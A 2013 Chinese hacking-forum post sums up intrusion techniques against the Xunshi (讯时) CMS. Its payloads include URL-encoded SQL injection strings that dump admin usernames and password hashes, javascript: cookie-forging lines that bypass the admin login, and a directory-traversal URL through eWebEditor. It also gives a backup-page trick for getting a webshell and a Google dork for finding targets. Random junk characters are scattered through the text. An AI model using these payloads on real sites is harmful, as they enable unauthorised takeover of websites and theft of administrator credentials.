找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2666|回复: 0
打印 上一主题 下一主题

讯时漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-16 21:25:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
by:血封忆尘3 ]* T/ n: o. i7 e

$ f# o2 H: s* N$ J$ a/ a! h在网上也有什么讯时三板斧的文章..但我个人觉得有时候靠那三种还是入侵不了(随着版本的更新)  w% L- |- A/ e. J( S$ t9 X

1 ^( p! a4 O* @% d# p以下本文总结来自黑防去年第9期杂志上的内容...; w9 ^3 O2 d5 d' n% C0 m/ B, r" L! r

- `& w  m/ A4 u" R& H+ M2 ~- [先说一个注入吧:http://www.political-security.com/news_more.asp?lm=2 %41nd 1=2 union %53elect 1,2,3,0x3b%# c# R: s0 |  P4 j" r0 N
( R' _* t# u) E! Z
26user,0x3b%26pass,6,7,8 %46rom %41dmin union %53elect * %46rom lm where 1=2 6 v6 U$ A0 N9 r6 e& }- m
* q8 p$ y& r3 o
记得千万别多了空格,我测试站的时候就发现多了空格注入不出结果的情况( R$ {3 @+ q% v6 @
这里一个注入- D( G. y3 P3 L4 }; y5 u# c+ Z

6 j- \1 D3 R" J3 w: x+ ?效果如图:3 x. c+ B0 R! V- d; L' c3 v

8 l5 y3 b& b1 O! Q
0 A$ c2 e7 P7 J2 w  F
+ @  O- r  Q! e, H* \' L这样就很轻松可以得到管理用户名与密码..这里md5可以拿去破解.但是现在安全意识的提高.
- h9 p( @- b! q* w- h+ s
/ Z5 C+ u0 O2 z# K; E密码复杂了..很难破出来..那么我们可以通过后来cookies欺骗进去
0 g( ?/ h' n' r2 f7 c, }
( J9 X% R6 j( U5 x6 z6 _  M0 C5 Ejavascript:alert(document.cookie="adminuser="+escape("用户名"));javascript:alert(document.cookie="adminpass="+escape("md5值")); javascript:alert(document.cookie="admindj="+escape("1"));2 L- a0 b5 U! V- {: \/ Z' d

2 Q7 f. t: [% K% c* v8 o% Y& t那么这里就会出现一种情况了..如果后台找不到咋办呢??请看下一漏洞让你更轻松达到你想要的效果:$ j, M" L, o$ f! @

8 C5 v# A1 `/ c0 ^因为讯时结合了ewebeditor程序..而它没有在处理的时候忽视了ewebeditor有个可以列目录的漏洞
& X% s! L. ~) W; R, l' L2 `/ N! q! V
- g+ `5 U$ {1 b3 v. n( a. q2 n它是做了验证的..但讯时最没做好的地方就是验证..我们可以通过cookies欺骗来绕过验证.从而可以: c8 Z* I7 e2 i9 F7 H
/ z$ ~* W) P# F; m
访问这页面来列目录..步骤如下:
6 q# Y  Z! e7 z9 V9 V. g6 p7 E, A) p6 l
javascript:alert(document.cookie="admindj=1") , o' K& F; j: N, P7 l
' Z. N9 p! D3 f- M% T% }% |% s
http://www.political-security.co ... asp?id=46&dir=../..
8 z& j! @: t/ E9 s. F0 p) x8 i% c1 j9 n7 Y' M
效果如图:# }- o" M7 q5 S2 h  G4 p
6 F6 h6 G0 g4 g1 ]

: W6 C* r9 y" B+ C, G# ~& B! {0 j" |: f
+ S& G& C* W5 \这样全站目录都能瞧了..找到后台目录..进去../ q+ d( @# i' ~) v, a% f* a* t7 S

& p, W8 D4 O9 e那么进了后台怎么拿shell??上传--备份就ok了..
+ ]8 k1 Y+ h" p8 z$ A: h
6 ~5 ]% P4 B: E- P9 ~那么有时候有些管理在做后台功能的时候把备份页面去掉了...而他本机里备份页面还是存在的..
) M; T! h; _# o) y9 R' H, u& V0 [9 M! \4 F* b% W* W
这个我也碰到过一次..你都可以通过列目录来实现..+ \$ ^8 s; r- t
0 `+ R" l6 J& I2 T
javascript:alert(document.cookie="admindj=1")
  a3 ?4 U' m2 M! i: M! ^2 `
2 Q$ r5 s3 G3 Z- C" L. xhttp://www.political-security.co ... p?action=BackupData : L( h# }9 _/ f/ i2 t
, [8 J0 B& u. R  h* }. a
备份ok... [" e# T4 M) g1 k- g

# V6 ]& K. l# F$ w: @! b那么以上两个漏洞都被管理封住了...咋办??上面两个是比较常见的..那么下面一个注入漏洞呢?
# n$ q. U- Y/ q4 V, {
6 h' L2 O( T" T( z$ w2 m在admin目录下有个admin_lm_edit.asp页面..里面的id没有过滤 那么我们就可以先cookies下# Z, l) v: S7 f, P$ F$ }
: @. X4 i' H+ n8 U  G; l6 h3 q4 H: ~
然后访问此页面进行注入..步骤如下:
' ~5 H: P( e% i) F& A# {; |, F0 b" m' f' s
javascript:alert(document.cookie="adminuser=admin");alert(document.cookie="admindj=1")
- z6 I  E3 \! V7 H
& H: I4 w2 Z, x2 P( w然后请求admin/admin_chk.asp页面
# v4 x' I5 d# x' P( v3 e, Y7 O3 n3 ?9 S1 E+ K( I6 j7 w
输入注入语句admin/admin_lm_edit.asp?id=1 %41nd 1=2 union %53elect 1,2,3,4,id%260x3b%
* I3 I# A7 j: o6 W; E/ J) o4 t
' ^* h+ g, v! }- B, I( G26user%260x3b%26pass,6,7,8%20%46rom%20%41dmin( P, }& v9 h! L
6 @3 y5 Y3 I1 R. n' ?
效果如图所示:# t+ [! {1 E3 b3 I0 k( ~9 C

# @% D2 {; V# j! e' _" k
$ r5 j! s) @! Y4 P0 G
% N% m! ~2 A: M讯时漏洞2
( I  Q& O! U' z8 J" ]  p8 e! cgoogle关键字:inurl:news_more.asp?lm2= (关键字很多的自己定义吧)
9 t3 _" A& B( q: r5 [7 I( q
: O' H+ g0 X, F% Z7 F2 j1、/admin/admin_news_pl_view.asp?id=1* \0 t/ U8 m1 O6 \; t1 p' U3 W% e
//id任意 填入以下语句" a7 C: U$ [* O/ d8 ?

2 a7 ~) ]' I% M# b# Z: U( ~3 O2、有时1显示错误信息的时候继续往后退2,3,4,我退到11才找到了页面,郁闷!
, \' a% k" ~3 H; {8 a5 \1 ] 3 U' M9 {% A5 Q- r& [* o
/ B5 A1 U! N. b
: H" j: `6 f1 E* |! }
3、|'+dfirst("[user]","[admin]")+chr(124)+dfirst("[pass]","[admin]"),username='5 P1 n+ M2 V" u9 k
  \# ]" \+ }2 x! u/ L% v0 H! e
7 y6 C" ]1 f  j2 b2 h+ K. ?
& k& n% K& i& |6 C
爆出管理员帐号和密码了
) r4 B0 }& S7 Z5 y0 }# @3 J # c4 h0 _* Z9 `  d  Y

4 x, O5 h$ r4 v3 l9 W
& ]: ~8 ~: m' k! W+ y8 P4、cookies进后台- A) ]9 a; L* ^% b5 s5 E
& K( \- q/ ^: m# i5 k; B* `
javascript:alert(document.cookie="adminuser=" + escape("admin"));alert(document.cookie="adminpass=" + escape("480d6d6b4d57cc903f3bab877248da40"));
5 u' J3 _' x1 c 3 }1 e1 V5 G, }' C% M, k7 d

2 P+ ^. r) ?: i, H' A  R3 H# r3 ?# z# }' [, p
5、后台用了cookie验证,直接访问http://www.political-security.com/admin/admin_index.asp就OK了!; N% h0 ]: a2 X: {. n
+ s- B! }3 h  ^8 o. d
( V8 }% S5 d% W8 j5 o

0 v: _& j: h" i% W2 i4 O6 L6、后台有上传和备份取SHELL不难。
. Z: d3 h2 U8 Q
8 {; D2 r0 j, O8 a; j5 I9 B7、讯时还有个列目录漏洞:http://www.political-security.co ... asp?id=46&dir=../..
3 m9 b' s% v$ V5 x3 j
: Y& v, f& w1 v4 p2 J逍遥复仇:我搞了一个讯时cms4.1版本的没有数据库备份不知道怎么搞SHELL,有的说虽然后台显示但备份页面是存在的,登录后台后访问 http://www.political-security.com/admin/admin_db_backup.asp?action=BackupData,我这个没有,郁闷着呢,谁还有其他办法提供一下,谢谢!, v2 m; O/ l' ~7 O- b0 N
* F6 M0 A% [! J% E, i. ]  Y
1 M. ~' J; p) D4 }+ J

# J& u+ I* \. n7 J9 u1 A
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表